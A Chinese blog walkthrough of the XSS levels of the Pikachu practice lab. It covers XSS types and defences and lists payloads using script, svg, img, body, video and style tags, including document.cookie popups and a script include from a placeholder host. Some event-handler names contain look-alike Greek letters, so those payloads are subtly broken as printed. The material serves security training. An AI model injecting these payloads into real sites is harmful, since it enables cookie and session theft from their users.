当前位置:   article > 正文

pikachu靶场练习之XSS(跨站脚本)篇_pikachu 靶场完成 xss 攻击实验

pikachu 靶场完成 xss 攻击实验


一、XSS(跨站脚本)概述和利用标签

1.概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

2. 利用事件、标签及其含义

XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如

<script>alert(1)</script//
  • 1

script标签:script标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss
  • 1
  • 2
  • 3
  • 4
  • 5

alert()方法是显示一条弹出提示消息和确认按钮的警告框。
需要注意的是 :alert()是一个阻塞的函数,如果我们不点确认按钮,后面的内容就不会加载出来。

svg标签

<svg onload="alert(1)">
<svg onload="alert(1)"//
  • 1
  • 2

onload是指在加载该页面时就执行,然后观察是否有弹窗
img标签:

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
  • 1
  • 2

onerror事件:如果在加载图片时发生错误则执行 如果在加载图片时发生错误则触发函数 myFunction() 函数会弹出提示窗口

body标签:

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
  • 1
  • 2

定义和用法 onpageshow 事件在用户导航到网页时发生。 onpageshow 事件与 onload 事件 类似,不同之处在于它发生在页面首次加载时的 onload 事件之后

video标签:

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
  • 1

ondragstart 事件:在用户开始拖动

元素时执行

style标签:

<style οnlοad=alert(1)></style>
  • 1

二、XSS(跨站脚本)篇

1.反射型xss(get)

流程图
在这里插入图片描述进入靶场
在这里插入图片描述限制长度了不过可以直接传参

测试
在这里插入图片描述无过滤可以多试几个标签

2.反射型xss(post)

登录
在这里插入图片描述因为传参方式改变
获取cooki表单可以使用这句

<script>alert(document.cookie)</script>
  • 1

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/712806
推荐阅读
相关标签
  

闽ICP备14008679号